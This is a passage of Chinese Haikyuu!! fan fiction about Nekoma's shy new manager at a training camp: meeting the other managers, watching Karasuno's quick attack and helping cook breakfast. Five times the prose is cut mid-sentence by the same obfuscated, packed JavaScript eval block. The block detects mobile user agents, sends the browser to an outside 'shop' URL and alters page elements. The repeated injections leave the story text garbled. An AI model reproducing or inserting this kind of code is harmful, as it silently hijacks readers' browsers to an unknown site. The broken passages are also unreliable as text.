推开教室的门，我指了指空旷的教室内仅剩的靠着墙放着的几张课桌，道：“把行李放在那里就好了……或者可以收拾一下？黑尾前辈好像也没说放完就要回去。” 我纠结地回想。 雀田有点想笑，她从我后面钻出来，仗着高了半个头的身高顺手拍了拍我的发顶，“没事，放完直接回去就好。” 她想了想，“其他学校应该也差不多快到了吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309366|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 我听完突然回想起其他学校还有经理这件事。 刚刚听那位木兔前辈说之前音驹是唯一一个没有经理的学校，也就是说…… 等会至少还有三个经理要送？？ 稍微有点担忧剩下的三个万一不好相处怎么办，但初次尝试时遇见的白福和雀田给了我一定的安慰。 万事开头难……接下来肯定也会顺利的、吧。 这时，已经把包放到课桌上的白福学姐好奇的声音传来，“小游，这个小熊是你带来的？” 我被从思绪里拉出来，转头看过去。 啊，是刚刚简单收拾了一下之后担心一直放在袋子里会变形所以拿出来摆到桌子上的小熊玩偶。 它靠坐在我的包上，黑溜溜的豆豆眼持续朝着某个方向看过去。 “是我的。”我应了声。 “很可爱呢，”白福凑近了看，但因为没经过同意而没上手，只是问，“是店里买的吗？” “啊，”这我还真不知道，“我不知道是哪买的，这个是夜久前辈送给我的。” “——诶？！” 她们两个同时转头看向我。 我被这两道齐刷刷看过来的视线震慑到了，下意识反思了一下刚刚的话，感觉没什么问题，才犹豫且茫然地问：“……怎么了吗？” ……总感觉这场面稍微有点熟悉，是错觉吗？ 她们两个对视一眼，皆在对方眼中看到了对于新认识的小学妹的八卦意味。 白福率先发问：“‘夜久前辈’是……？” 我秉承着“问什么答什么”的原则回答：“是三年级的夜久卫辅前辈。” 一边回答，我一边又有点疑惑。 我记得夜久前辈二年级的时候就已经是首发了？白福学姐和雀田学姐不认识吗？ 原来不是什么重名之类的……还真是那个夜久啊，他竟然会送女孩子娃娃吗？ 白福继续猜测：“是礼物吗？” 生节日礼物好像也正常。 不知道为什么，我总感觉学姐们好像不止在问这个小熊。 纠结了两秒没想明白，我索性也不想了。 听完白福的第二个问题，我思考了一下。 “应该算吧？”感觉两位学姐还有什么想问的，我干脆简单说了下前因后果，“我第一次合宿，跟不认识的人睡一个教室……唔稍微有点紧张，夜久前辈听说了就送了我这个，说是能缓解情绪。” 我回想了一下昨晚失眠被解决的事情，对这个功效表示认可，“还挺有用的。” 话落习惯性地回顾了一下自己说的话，我猛地顿住。 ……面前站着的，好像就是我刚刚说的不认识的人。 啊啊啊啊啊啊啊啊救命 我迅速涨红了脸，逃避般地移开了视线，决定从此以后老实地把嘴缝上。 大脑几乎要停止转动，我哽了半天，才开口转移话题，“我、我们先回去？” 两位学姐眼睁睁看着我不知道想到什么突然无所适从起来，看着我快一路红到脖子的脸，两个人体贴地当做没看见，顺着我给出的台阶下。 “好像是待的挺久了，我们就先走吧。” ——是迟钝类型的吗，现在才害羞？ 17. 十七个小岛 我调理地勉强还算快，至少回到体育馆的时候脸上的热度已经不剩多少了。 对此，我真心实意地感谢善解人意地跟着我一起转移话题的学姐。 据她们所说，剩下的经理中的宫下英里和大泷真子都是很不错的人，让我不用太过紧张。 我对此持保留态度。 一路闲聊着回去，走进体育馆的门前，我先探头往里看了一眼。 可能是拖了太长时间，有两所不认识的学校已经到了，场馆更嘈杂了几分，多出来的颜色鲜艳的黄色和绿色的运动服蓦地晃了一下我的眼睛。 ……好多人啊。 下意识环视了一圈寻找自己熟识的人，音驹是馆内唯一一个深色运动服的，所以格外好找。 夜久前辈、海前辈、福永前辈……总之，看了一圈下来，除了黑尾前辈和山本前辈不在，音驹的人已经齐了。 不在的人是去接剩下的最后一个学校了吗？ 旁边的白福和雀田注意到我停滞的脚步，也顺势停下来，站在门口和我一起往里看了看，开始招呼场内唯二的两个女生。 “真子学姐——英里——”白福将手合拢放在嘴边当做扩音器，朝里面喊人。 我完全没料到，大老远跟夜久打招呼的手猛地顿住，然后迅速抽回手缩回门外，将自己摆进没人看的将的角落。 ……完全没做好准备！ 我如临大敌。 夜久眼见我突然缩到体育馆外，有些疑惑。 这点疑惑在看到刚到的两位经理朝着门外走去时就变成了好笑。 我不清楚他在想什么，我这会已经被白福带着站在了不认识的两位经理面前。 扎着单马尾的棕发前辈看着比较开朗，她上下看了我一眼，自然地打招呼，“是音驹的新经理吧？我叫大泷真子，森然高校三年级。” 另一位比我矮些的黑发前辈则腼腆些，她看到我有些讶异，随即抿唇朝我笑了下，道：“我叫宫之下英里，生川高校二年级。” “我叫小岛游绘，学姐们叫我小游就好。”我微微低头避开她们看来的视线，自我介绍道。 雀田也算了解我一点了，她笑眯眯地插进对话中，跟她们寒暄。 “这次期末怎么样？你们队有人要留下补课吗？” 她刚刚跟着我停在门口还没来得及往里看。 大泷露出一个庆幸的表情，“最差的那个也低空飞过了……万幸万幸。” 宫之下闻言露出一个总感觉有点苦涩的神情，无奈道：“我们有两个被打回去了，现在大概还在补课呢。” 啊，说到这个……音驹倒是没有需要担忧成绩的选手，大家都顺利及格了。 白福“哈哈”一笑，炫耀，“这次木兔可是顺利通过考试了哦，多亏了赤苇呢。” 木兔的成绩……多亏了赤苇？ 我第一下还没反应过来，脑子转了一圈才突然意识到一个按这么说的话很奇怪的点。 没记错的话，赤苇前辈是二年级生吧？比木兔前辈低一个年级啊。 我疑惑地偏了偏头，看向旁边的白福学姐。 白福注意到我的视线，也转头看过来，短暂对视的那一秒，她看清了我眼中的疑惑，唇角笑意不禁更深了些。 她朝我束起一根手指，神秘地晃了晃，“赤苇可是我们公认的猫头鹰饲养员哦~” ？ 我更迷茫了。 猫头鹰饲养员……总感觉指的不是真的猫头鹰，那是指什么？ 但白福已经不再多说了，她收回手，四处看了一圈，问我：“你们队长是去接新来的那所学校了吗？” 我还在思考，闻言“啊”了声，反应了一下“你们队长”指的是谁，才点头道：“好像是的，山本前辈也去了。” 宫之下闻言从体育馆门口向外探头，一边往校门口看一边提议道：“那应该快到了……我们等等他们吧，这样小游就不用再跑一趟了。” “！好的。”我突然被叫到名字，连忙应道。 等待的时间里，几位学姐闲聊着，话题都有很照顾我地往我这边移，我把自己边缘化的行动被暂且搁置，凝神在被叫到的时候乖巧地回答抛来的问题。 除此之外，我还有在分神看校门口的方向，所以我是第一个发现远处有一大片小黑点走过来的。 ……哦不对，小白点。 有点子吓人。 他们一群人由远及近，我用跟他们一起走的黑尾前辈进行了一个身高上的对比。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309367|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好多一米八的大个子……里面那个金色头发的看着尤其恐怖。 我安静下来，转头把自己往旁边的白福学姐身后挪了挪。 不过他们中间好像没有女生……是没有经理吗？ 那说音驹之前是唯一一个没有经理的……噢，是因为乌野是新加入的学校没有被算在内吗。 迅速找好了解释，我觉得有道理，就无缝接受了这个理由。 哦，当然被打破地也很快。 黑尾大老远看到我，他有些惊讶地“咦”了一声，引得旁边的乌野队长泽村大地疑惑地转头看过来，“怎么了？” “也没什么，发现我们家经理没看到我的消息而已。“黑尾随口解释了一句。 旁边正在和山本闲聊的田中龙之介像听到了什么不可置信的东西一样转头看过来，“音驹有经理了？什么时候？”上次不还没有吗？！ 山本被乌野竟然又多了一个经理消息创懵的脑袋终于清醒过来，闻言他得意地哼了声，“我们经理可是看我们比赛的时候被音驹吸引到才加入的！” 田中恶狠狠地“切”了一声，“那又怎么样！乌野可是有两个经理！” 黑尾没管他们俩吵，他快步上前，朝我打了个招呼后便言简意赅地说：“乌野来的比较晚，我就让他们的经理自己看着地图去放行李了。” 啊、啊？ 我刚刚毫无阻碍地接受了乌野没有经理的脑补，下一秒就被自家人无情地戳破了，还顺带告诉了我一个残酷的事实——我们白等了。 倒也没怎么……好吧可能的确有一点点不爽，我抓了抓脸颊，视线无意间瞥过黑尾身后站着的一群人，我呼吸一滞，连忙把飘出去的眼神收回来，道：“那我先带大泷学姐和宫之下学姐去放行李了。” ……等会不会在路上遇见乌野的经理吧？ 我犹豫地想。 跟黑尾前辈和他身后一群人，还有不用再走一趟的白福学姐和雀田学姐告别，我领着剩下的大泷学姐和宫之下学姐往今晚睡的教室走。 早上我自己走了一次，刚刚带白福学姐她们走了一次，现在跟大泷学姐和宫之下学姐又走了一次，今天第三次了……晚上回去大概还有一次。 转了好多圈呢。我想。 18. 十八个小岛 某些时候我的直觉真是该死地准。 隔了老远看到前面那两个背对着我们、显然是女孩子的身影的那一瞬间，我迅速总结了一下我现在的处境。 来，环视一圈。 旁边走在我旁边的是今天第一次见面的两个同为经理的前辈，往前看又是两个很大概率得交谈的陌生人，作为领路的人，我很大可能还要作为双方的那个支点来让两方熟悉起来。 ……救命，SOS，help。 光是想想都很绝望……我到底为什么会沦落到这个地步啊。 明明两个月之前我完全不需要接触陌生人……前后落差好大。 是地狱吧……（疲惫）（心死） 我深吸一口气。 ……是我自己选择加入的。 明明加入之前就已经看了经理的工作都有哪些的，不是早该做好心理准备了吗。 我可以接受我对和人类这个物种接触不太适应——就是很难啊！我维持现在这个状态就已经很艰难了！ 但、但要是就因为这个就违背自己的选择，那算什么啊！！ 憋了一口气把退缩的情绪塞回去，我盯着前面那两个似乎是因为不认识路而停下、导致我们之间的距离越来越近的人影，调转方向向她们走去——其实也不算调转方向，就是稍微偏离了一下原本的航线而已。 啊当然，虽然我走得很坚定，但不代表我真的没想过掉头就走。 虽然当没看见直接走也可以，但带来自己学校合宿的迷路了的人去到该去的目的地也是经理的责任吧……直接走掉我绝对会良心不安的。 道德和良心稳稳压过退后的选项占据天平的胜利端，社交礼仪和敬语在我脑海里转了一圈，最后我停在她们面前，开口，“那、那个。” 卡壳了一下，听到我声音转过来看向我的两个女生落在我身上的视线让我瞬间把没出口的话下意识咽了回去。 长了一截但被折上去的袖子没法遮住我的手，我也知道这样我因为紧张捏住袖子的动作会很显眼，但这种情况下根本顾不了这么多啊……张了张嘴，我弱弱地道：“我是音驹的经理，前辈要跟我们一起去放行李……吗？” 敬语加了但内容说的好怪……可恶脑子没转过来太紧张了把刚刚打的腹稿全都忘掉了。 浅金色短发在旁边扎了一个马尾的女生闻言欣喜起来，“真的吗！谢谢你！” 她已经被看不太懂的地图折磨了一路，现在终于有个认路的能来带路，真是太好了！ 得到了正面的反馈，我攥着袖口的手放松了些。我悄悄松了口气。 好像还挺好相处的……这么说起来高中之后遇到的人好像都还挺好相处的，国中的那些人才是意外吗？ 微微颤抖着的手指有些僵硬地蜷了蜷，我抿了抿唇，随即下意识扯出一个看不出我的情绪的笑——我不止一次对着镜子练习过，“没关系。” 大泷在我身后朝她们挥了挥手，“是乌野的经理吧？我是森然的经理大泷真子，三年级生。” “我是生川的经理宫之下英里，是二年级的，请多多指教哦。”宫之下紧随其后。 我现在才想起刚刚忘说的腹稿里包含了自我介绍，于是紧急插话，“我叫小岛游绘，叫我小游就好。” “我叫清水洁子，乌野三年级，请多多指教。”一直没来得及说话的黑发学姐轻轻笑了下，声线微妙地有些空灵……？得出这个结论的时候我有点怀疑自己的语言水平。 浅金色短发的少女回归平常的状态，紧张道：“我、我叫谷地仁花，乌野一年级，请多多指教！” 好像不止我一个人是社恐……微妙地放松了一点。 我松了口气，顺势开口，“那我们走吧？” # 回体育馆的时候已经开始打比赛了，一行人在体育馆门口散开我左右看了一圈，避着人走到了音驹比赛场地的场外。 接过芝山递过来的记录失分得分的本子，我感激地说：“帮大忙了，芝山。” 他闻言腼腆地摸了摸脑袋，摇了摇头，“没关系的，不是什么很麻烦的事情。” 看了一眼本子上的内容，大概了解了情况，我将视线移到场上，然后把刚刚在面前失掉的那一分的失分详情写上——灰羽没救到球。 啊，意料之中呢。 音驹现在处于一个落后的分差下，11-13，落后的不多，但这两分的分差放比赛焦灼的时候其实是很难追上的。 不过现在并不焦灼就是了，音驹向来比赛前半段呈现颓势，后半段才开始凭着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309368|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优秀的拦网和一传开始反击。 这就是“维系”啊。 不管看了多少次，我都为场上五个人被串联起来的那个瞬间而感到欢喜。 有一种奇异的满足感。 真好啊。 就是因为这样，我才从来没有后悔过加入排球部啊。 逐步踏入他们身处的世界，作为后勤站在他们背后支撑他们不顾及任何地前进——那是一种很令人上瘾的感觉、是被需要感被满足而发出的喟叹声。 我不自觉弯起唇角，平和地笑起来。 这场比赛以音驹25-22胜利告终，输了的队伍要绕着场馆鱼跃一圈——听起来就好累。 体力很差劲的我转头看着森然的人一个个地扑出去，视线移到旁边同样在鱼跃的其他人，我突然意识到什么。 指节无意识曲起抵住下唇，我回想了一下。 ……乌野他们是不是还没赢过？ “犬冈，”我转头，问因为没有上场所以正在帮我分担工作分发毛巾和水瓶的犬冈，“你之前不是说乌野有一个很厉害的快攻吗？”好像没看到诶。 犬冈听到我叫他抬头望过来，闻言“啊”了声，“你说翔阳的快攻吗？” 我沉默：翔阳……好像有点耳熟，应该有听谁提过，但想不起来了。 应该就是犬冈吧。 索性我的沉默并没有影响犬冈，他大概也只是随口回了句，见我没说话也没在意，回忆了一下，“听山本前辈说他和影山要补习，下午好像就能到。” 说完，他想起我不知道他话里的人都是谁，简单解释了一下，“就是打快攻的那两个人。” 夜久在旁边听了一耳朵，闻言想了想，感慨般插了一嘴，“他们两个来了之后乌野大概就不会输那么惨了，还真是很久没见了啊，那个快攻。” 我偏头看了夜久一眼。 喔……夜久前辈看起来是真的很有兴趣。 我问：“夜久前辈，你能接到那个快攻吗？” 夜久想了想，很诚实，“我接不到。不过犬冈跟上那个小不点的速度了哦，列夫应该也可以。” 夜久前辈都接不到啊……那球速大概是真的快到接不到了，有点好奇是怎么打出来的了。 下午才来啊…… 19. 十九个小岛 夕阳西沉，太阳还没有完全落下，但天空已经晕染出了橘红色的暖色，层林尽染、熠熠生辉，最后一段时间的阳光照在身上，察觉不到什么暖意，所能感受到的更多是微风拂过发梢的那一丝凉意，即使混杂着夏天特有的温度也还是能感受到凉爽。 虽然体育馆有装空气循环装置，但多少还是有些闷了，我跟教练说了声，便凑到最近的体育馆门口透气。 站久了腿有点难受，我便原地蹲下来，手臂抵着膝盖，另一只手捏着硬皮笔记本给自己扇风。 我转头看着外面的天空。 这会儿的太阳就算直视也不会带给眼睛强烈的刺痛感，收敛了向外扩散的亮度，挂在天边像颗颜色浅淡的橘子，橙黄的天空于它身后像是陪衬。 虽然夕阳每天都会出现看得人几乎要审美疲劳，但再次看见，我还是想感慨——真漂亮啊。 有点手痒，想拍照。 这么想着，我撑着膝盖准备站起来，但蹲久了之后腿使不上劲，我一时没站稳往前摔去，膝盖结结实实磕到地上。 我穿了长裤，这么磕一下倒也不疼，只是我稍微有点没反应过来，懵了两秒才想着爬起来。 扶着旁边的门站起来，我重新跟我的腿熟悉了一下，才去捡掉在地上的本子。 回自己放包的地方把相机翻出来，我思考了一下构图，想从体育馆内部往外、连着门拍一张。 索性馆内的场地是竖着排列的，门前是场馆边缘的一片空地，我把本来半开着的门推开了一扇，另一扇保持原样，然后退后了一段距离，看好距离将镜头对准门口。 聚焦的话……先聚在门框上吧，看看效果。 琢磨着构图和光影，我调了下参数，才终于按下快门。 ……诶？ 镜头中突然出现了一个人影，是位金色短发的成年女性，她没注意到我，上前两步将那一扇维持原样开了一条缝的门推开，视线扫过正在进行比赛的球场，随即笑着挑眉，声音带着刚运动过而留下的喘气声，“太好了，训练还没结束。” “终于赶上了，时间刚刚好。” 一时间，所有人的视线都循声移到了她身上，包括我也是。 两个少年从她身后走出来，一人撑着一边门，并肩将体育馆的大门站满。 他们一言不发，只是揣着气，脸上带着运动后淌下的汗珠，用仿佛闪着光的眼神注视着球场，背着光站着，仅剩的阳光将他们的影子拉的很长。 我不知道别人是怎么想的，但至少我被眼前这幅场景惊艳到了，条件反射地退后一步，我举起相机，手速很快地聚焦在他们两人身上，生怕这么好的意境转头就散了，甚至没来得及重新调整参数和位置，便直接按下快门。 连拍两张，我大致扫了眼效果，终于松了口气。 呼……好险。 差点没拍上。 合宿收获＋1，获得双人照片一张。 等会得跟黑尾前辈说一下，把原图传给乌野他们，当时跟其他学校交涉的时候他们允许的拍照的条件就是这个。 我对此表示理解，这也正常，不是什么大事。 因为早早就把相机的快门声关掉了，我虽然拍照的时候有做动作，但因为大部分人注意力都在刚进来的那两个人身上，所以没人注意到我。 我悄悄地松了口气，趁着他们没注意到我的时候溜回了音驹的比赛场外。 手白见我回来，把手里摊开来的笔记本连着笔一起还给我，道：“我按你之前记的格式记的，你看看？” 我接过来，大致扫了一眼，抬头给他递了个肯定的眼神：手白，靠谱。 比赛因为刚刚到的两个人短暂地停止了一会儿，毕竟只是练习赛，没有正式比赛那么紧绷，裁判不会在意大家打到一半站在原地凑热闹的行为——毕竟又没走嘛。 球场上的人再次动起来，随着排球过网，又将要开始新一轮的拉扯。 我看比赛一直挺专注的，基本不会管外界的声音，不过有人叫我我还是会管的。 “小游！你看！！”旁边的犬冈突然伸手扯了扯我的衣服，激动地指向了旁边的球场，道，“这就是我之前说的那个快攻！是不是很厉害！” 我顺着他的动作把注意力从音驹的比赛场上收回来，转头看向了隔壁球场乌野的比赛。 我看过去的时候犬冈说的那个快攻当然是直接得分早早落地了，我看过去的时候乌野的球员正在准备发球。 我看了两秒，没什么兴趣，但又实在好奇那个快攻到底是怎么样的快攻才能让周围的人同时给予很高的评价，便耐下心，继续看。 红白绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309369|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三色的排球被那个黑色M字刘海的二传平稳地传到攻手的手上，那个橘发的小个子屈膝起跳、高高跃起，右手后拉，身体像一张拉满了的弓，挥臂将排球击出。 跳的好高！ 那个高度……得三米多了吧，我空间感不算很好所以不太确定，但总归是我踩着凳子也够不着的高度。 不过好像也没有快到那个程度……啊，果然被接起来了。 我偏头看了眼犬冈。 他依旧很激动的样子，双手握拳盯着赛场，眼睛闪闪发光，但完全不是之前提到这个快攻时的样子。 我顿悟。 ——噢，怪不得，原来只是普通的高球啊。 我重新转回场上。 短短几秒间，排球就已经重新回到了乌野的场上，我追着球看过去。 估计又是新一轮的拉扯……诶？ 我心中的腹议一顿，下意识睁大了眼睛。 视野中，那抹一闪而过的橘色格外亮眼。 还是那个橘发的小个子，我看过去时他正单脚踏在地上，排球鞋与地面发出令人头皮发麻的刺耳的摩擦声，整个人以一种几乎要跑出视野的速度朝着反方向冲去。 对面的拦网追着他奔去，却始终慢了一步，起跳试图拦网时指尖依旧离排球还差了那么一段距离。 他依旧轻巧地、高高地跃起，和刚刚没什么区别的挥臂动作，被他扣出的排球却仿佛留下残影，以极快的速度狠狠砸在无人防守的球场后方。 ……哇塞。 裁判示意得分的哨声响起，旁边犬冈激动地伸手拍我，声音里是压不住的兴奋，“小游！你看到了吗？！” 我当然看到了。 超级超级快的一球，绝对会是初见杀的那种出人意料的快攻呢。 这一幕在我脑海里转了一圈，我想了想。 唔……扣球动作没什么特别的，真正带给人冲击的大概是极快的跑位速度和球速……话说那个排球好像一眨眼就直接被他吸到手上了，好神奇。 快攻这个点好像之前学过……球飞过来之前那个攻手就已经跳起来了，是第一节奏快攻？ 算了，管他是什么节奏的快攻，拍照大概都不出片。 虽然肉眼看是很有冲击力啦……不过有些场景照片就是比不过肉眼看到的。 20. 二十个小岛 啊……不知不觉间已经是最后一场比赛了呢。 音驹已经提前打完了，记录的任务结束后我便闲下来。 发了会呆，我回过神，起身把刚刚因为嫌热而脱掉的外套叠起来放到旁边，转而开始收拾东西。 我留在体育馆的是一个类似于手提袋的小包，容量不算大，里面零零碎碎装了很多东西，比如相机、皮筋、小梳子和一些创可贴碘伏之类我觉得可能用的到的东西。 驱蚊液和被蚊虫叮咬之后缓解的药膏是带的最多的，我自己没怎么用，但给周围人都分了一圈。 毕竟我不招蚊子，用多了浪费，就意思意思往手上喷了点驱蚊液。 好闻（大拇指），是那种很清新的味道，纯天然无添加。 而且还有用，音驹排球部全体认证的那种。 以防万一我多带了几瓶，这下刚好每个没想起来这回事的人都分到了。 虽然也有其他人带了这些，但每个学校意外地都有一门心思都花在合宿上完全没多想别的的存在呢。 他们得到驱蚊液就像得到了救星，纷纷用闪亮的眼神看向我。 我对这些令我如芒在背的目光感到十动然拒。 我是为自己的准备帮助到了别人这件事感到高兴了……但真的别看我了，求你们。 索性排球脑就是排球脑，他们很快就重新被排球吸引走了注意力，放过了坐立不安的我。 我大大松了一口气。 从回忆中出来，我把最后一瓶驱蚊液放进去，点了一遍确定没东西落下，便拉上拉链，把包推回去。 结束比赛的队伍在各队经理的指挥下自发地开始收拾东西，捡排球的捡排球、收水杯的收水杯，等最后一场比赛打完，体育馆没了排球打在地上的击球声便显得格外安静。 饿了之后也跟着闭嘴了啊。 至于我为什么知道……我真的想说，在没什么人说话的情况下抱怨自己好饿的声音真的很明显啊。 把手边最后一个排球捡回去，白福学姐冲他们挥挥手，“你们去吃饭吧，这儿没你们的事了。” “好——” “辛苦了辛苦了！” “我好饿！！！！！！” 男高中生们收到指示瞬间嘈杂起来，我看到几个话音刚落就迅速窜出去的人影，不禁震撼。 打了一天比赛还跑的起来啊…… 打扫卫生自然没可能让剩下的几个女生干，让训练了一天的队队员干也不现实，所以一整个体育馆加上一筐筐要擦的排球，我们是专门请了人来清扫的。 应该快到了，那就不锁门了吧。 虽然本来合宿期间就不会锁门就是了，毕竟练习赛后的自由活动时间是可以选择自己加练的，虽然打了一天练习赛之后选择加练的人很少，但地方还是得留出来的。 今天完全没有人留下应该是特例，毕竟今天结束地有点晚，都要将近饭点了。 不过我倒不是很饿，或许是因为没运动所以消耗得也少……等会少吃点吧，晚上吃太多东西也不好。 # 这会儿的食堂灯火通明，明亮的白炽灯晃了一下我习惯了晚上漆黑光线的眼睛。 晚上吃猪扒饭，路过他们的时候我下意识探头看了一眼。 ……哇塞。 快在餐盘上摞成小山了，看着分量很大，感觉我一天三餐从这一份里取都可以。 嗯……应该是他们自己要求的多打吧，正常分量不可能这么多。 喔，果然。 可能是习惯了那群饭量很大的运动少年的食量，发现这么对比起来我吃的有点过少了的食堂阿姨不赞同地看着我，并且试图给我多盛一点。 我推拒不得，最终被迫端着比原先想盛的多了三分之一的饭回到了座位上。 嗯……虽然还是只有正常分量的三分之二就是了。 在学姐们的招呼下我坐到她们那一桌，跟谷地挨在一起，一边慢吞吞扒饭一边发呆。 毕竟没人找我搭话嘛，这种时候确定没我的事之后我就会开始放空自己。 “……那小游为什么会成为经理呢？” 刚见面的破冰话题自然要从几个人的共同点来讲，我们唯一的共同点就是同为排球部经理，但互相不熟悉彼此队伍的成员，能讲的也只有经理本身这件事了。 比如说为什么要成为经理、经理工作会不会顾不过来这种。 突然被cue，我茫然地抬头，重新回忆了一下问题，恍然大悟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309370|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原来已经到这个阶段了吗、原来我也要参加吗！ 我把嘴里的食物咽下去，然后秉承着第一次进行破冰聊天行动要认真体验的态度开口，“看了很久的练习赛，前一阵子就决定加入进来和他们一起备战春高。” “春高啊，”雀田想了想，“明明是一月份的比赛，结果大家都现在就开始为春高做准备了。” 宫之下笑道：“大家都很有精神呢。” 唔，我认同这句话。 虽然之前输了比赛，但音驹的大家都没有耿耿于怀，而是很快地调整好了状态，到了现在都是兴致勃勃提前备战春高、想要一雪前耻的状态。 最明显的大概是灰羽和山本前辈，热血到有点烫到我。 不明显的……夜久前辈就挺不明显的，但我感觉到了。 ——这是直觉（伸出食指骄傲晃晃） 我吃得快，把餐盘里的食物吃干净之后就起身，跟大家说了一下，先回去了。 嗯……要铺床什么的，被褥已经放到教室了，等会铺开就好。 要把洗漱用的牙刷牙膏之类的东西拿出来放好，再收拾一下带过来的东西……我要去占床位。 找一个贴墙的位置睡，感觉会比睡在中央有安全感一点。 啊。 这么说我还真是一个接受能力很强的人啊，这才短短几天，我就已经从接受不了和第一次见面的人一起睡变成睡在角落就可以了。 ……这算什么，服从性测试吗。 我吐槽道。 现在刚六点过了会儿，回暂时被充作宿舍的教室把自己的被褥铺好，然后再收拾好东西，一看时间也才六点半多一点。 ……好空茫。 仿佛回到了每次周末在家的时候，把事情做完之后就不知道该继续干什么了。 不过也还是有点区别的，比如在这我总能知道接下来要做什么。 嗯，让我想想。 队员们会在七点半把队服和马甲送去洗衣间，到时候需要过去把衣服洗掉、因为早上食堂阿姨还没上班，所以明天早上要早起自己做早饭、之后还有练习赛需要记录……这么一想还真充实呢。 从现在开始到七点半的时间就用来整理今天记录的东西吧。 21. 二十一个小岛 负责送昨天下午晚来的那两个部员的是一位叫田中冴子的成年女性，昨天晚上因为跟教练们去喝酒了所以睡的晚，而我们第二天要早起做早饭，所以为了不吵醒她，大家的闹钟都设了震动模式，闹钟叫不起来的就由其他已经起了的人叫起来。 我就是那个闹钟叫不起来的。 被白福学姐推醒的时候我还没睡醒，处于一个身体醒了但脑子还处在混沌中的状态，迷茫地坐起来，抱着小熊原地发了会儿呆，才慢了半拍地把手机从枕头底下捞出来，按掉了正在疯狂震动的闹钟。 我低头看了眼：6:12 ……我记得我订的是六点整的闹钟啊，震了十二分钟我竟然一点感觉也没有吗。 抓了抓凌乱的头发，我打了个哈欠。 哈……好困。 我大概是有点认床，昨天晚上完全睡不安稳，半夜还醒了两次，睡眠质量超级差。 披上外套，我耷拉着眼睛，捞上洗漱用品出去洗漱。 刷完牙洗完脸，将脸埋进宽大柔软的毛巾蹭掉脸上残留的水珠，我伸手抹掉下巴上没蹭掉的水，总算是清醒了。 把东西放回去，我拿梳子整理了一下头发，就拿上手机去食堂了。 我们前一天晚上就已经分配好了每个人要负责的工作，我负责的是洗菜，洗完之后其他人还没做完的话就帮忙切菜。 毕竟我虽然因为是独居所以学过一段时间做饭，但大概是完全没有这方面的天赋，学了这么久手艺还是糟糕到令人难以想象。 不然也不至于每天吃便利店的熟食度日了……当然，偶尔也是会出去吃的。 蹲在水池旁边认认真真按学姐交代的步骤择菜、洗菜，我把洗干净的各种果蔬放到旁边干净的盆里。 宛若流水线一样的流程，熟练之后，我逐渐开始出神。 啊……这次的合宿只持续两天，今天就是最后一天了。 意外没什么感觉……时间过得真快啊，竟然很顺利地就过去了一天。 把最后一颗洗好的菜放到盆子顶端，我甩了甩沾满水的手，弯腰把盆子端起来送去正在处理食材的几人旁边。 刚好菜已经全部洗完了，我被雀田学姐递了把菜刀，推到了案板前开始帮忙。 长袖还是不方便，更不要说我的袖子还长了一截……我先脱了外套放到旁边，才回来，举起菜刀对着面前的蔬菜比划了一下，开始下刀。 因为听我说自己不会做饭所以以为我没进过厨房而有些担心的宫之下凑过来，看着我麻利的动作有些惊讶，“小游虽然不会做饭，但刀功意外地还不错呢。” 我动作一顿，犹豫地低头看了一眼虽然没切的歪歪扭扭但只能勉强称得上一句切的还行的菜，脑袋上冒了个问号。 ……这也能算刀功不错吗？ 没看出我的迷茫，宫之下确定我能应付得来，便放心地回到自己的位置了。 